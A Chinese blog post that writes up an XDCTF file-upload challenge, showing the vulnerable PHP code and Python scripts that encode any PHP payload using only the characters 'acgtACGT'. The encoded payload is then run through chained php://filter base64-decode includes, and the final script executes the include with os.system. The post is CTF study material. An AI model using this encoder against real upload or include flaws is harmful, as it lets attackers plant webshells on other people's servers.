Lucifaer's Blog.

XDCTF Upload 引发出来的一个新思路

Word count: 1,354 / Reading time: 7 min
2017/10/09 Share

在十一的XDCTF中有一道Upload题引出的如何通过固定的几个字符,利用php伪协议中的convert.base64-encode来写shell。

0x00 一道题引出的话题

我们首先抛砖引玉,来看一下这道题的关键代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
session_start();

if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}

这道题限制了使用php://inputdata://read://。关键的考点就是如何过这个正则/[^acgt]/is

ok,正则表示我们只能使用acgtACGT这么8个字符,那么我们如何通过这8个字符来写shell呢?

下面我们就用这8个字符来尝试生成我们的payload,以达到执行我们的php代码的目的。

0x01 解决问题的关键——base64解码函数tips

解决上述问题的关键,就是base64的解码规则。

首先你应该知道的:

  • base64使用的字符包括大小写字母26个,加上10个数字,和+/共64个字符。
  • base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。

举个例子:

以r举例,我们可以看到可以通过ctTT进行base64解码后取得:

那么我们顺着这个思路,就可以得到一张通过已经给出的8个字符所得到的所有字符的字符表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"


# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table


if __name__ == '__main__':
chars = 'acgtACGT'
pprint(exchange(chars))

代码很简单,就是将acgtACGT取了单位元组为4个元素的笛卡尔积,之后将每个笛卡尔积所组成的新的字符串进行base64解码,结果如下:

目前只有26个元素,剩下的怎么得到呢?

我们改一下我们的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
import string
from itertools import product
from pprint import pprint
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"


# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table


def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False


if __name__ == '__main__':
chars = 'acgtACGT'
pprint(limited_exchanging(chars))

最后可以得到这样的映射表:

图很长,就不截了。

通过base64解码的特性,我们将8个字符拓展到了64个字符,接下来就是将我们的原数据进行转换就好了。

0x02 剩下的一些要注意的点

1. decode次数的问题

根据上面的代码,我们只需要len(tables)就可以知道我们转换经历了几次的过程,这边len(tables)是3次。

需要注意的是,在利用php://filter/convert.base64-decode/resource=的时候,需要len(tables) + 1,也就是说是4次,没毛病吧。

2. 在利用我们得出的映射表时,怎么迭代向前替换问题

tableslist从后向前遍历,最后得到的即为全部是指定字符的payload。

0x03 最终的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import base64
import string
import os
from itertools import product
# base64基础64字符
dict = string.ascii_letters + string.digits + "+/"


# 得到payload完成base64编码后需要进行替换的向量
def payload_base64_encode(data):
return base64.b64encode(data).decode().replace("\n", "").replace("=", "")


# 利用可用字符替换其他字符
def exchange(allow_chars):
possible = list(product(allow_chars, repeat=4))
table = {}
for list_data in possible:
data = "".join(list_data)
decode_data = base64.b64decode(data)
counter = 0
t = 0
for i in decode_data:
j = chr(i)
if j in dict:
counter += 1
t = j
if counter == 1:
table[t] = data
return table


# 迭代得出完整的映射表
def limited_exchanging(allow_chars):
tables = []
saved_length = 0
flag = True
while True:
table = exchange(allow_chars)
length = len(table.keys())
if saved_length == length:
flag = False
break
saved_length = length
print("[+] Got %d exchange_chars: %s" % (length, table.keys()))
tables.append(table)
allow_chars = table.keys()
if set(table.keys()) >= set(dict):
break
if flag:
return tables
return False


# 得到最后的payload
def create_payload(tables, data):
encoded = payload_base64_encode(data)
print("[+] Payload base64: " + encoded)
result = encoded
for d in tables[::-1]:
encoded = result
result = ""
for i in encoded:
result += d[i]
return result


def main():
payload = b"<?php echo \"hacked by lucifaer\"?>"
limit_chars = 'acgtACGT'
filename = limit_chars
tables = limited_exchanging(limit_chars)
if tables:
cipher = create_payload(tables, payload)
with open(filename, "w") as f:
f.write(cipher)
print("[+] The encoded data is saved to file (%d Bytes) : %s" % (len(cipher), filename))
command = "php -r 'include(\"" + "php://filter/convert.base64-decode/resource=" * (
len(tables) + 1) + "%s\");'" % (filename)
print("[+] Usage : %s" % command)
print("[+] Executing...")
os.system(command=command)
else:
print("[-] Failed: %s" % tables)


if __name__ == '__main__':
main()

0x04 总结

这道题提出了一个比较好的思路,值得学习

CATALOG
  1. 1. 0x00 一道题引出的话题
  2. 2. 0x01 解决问题的关键——base64解码函数tips
  3. 3. 0x02 剩下的一些要注意的点
    1. 3.1. 1. decode次数的问题
    2. 3.2. 2. 在利用我们得出的映射表时,怎么迭代向前替换问题
  4. 4. 0x03 最终的脚本
  5. 5. 0x04 总结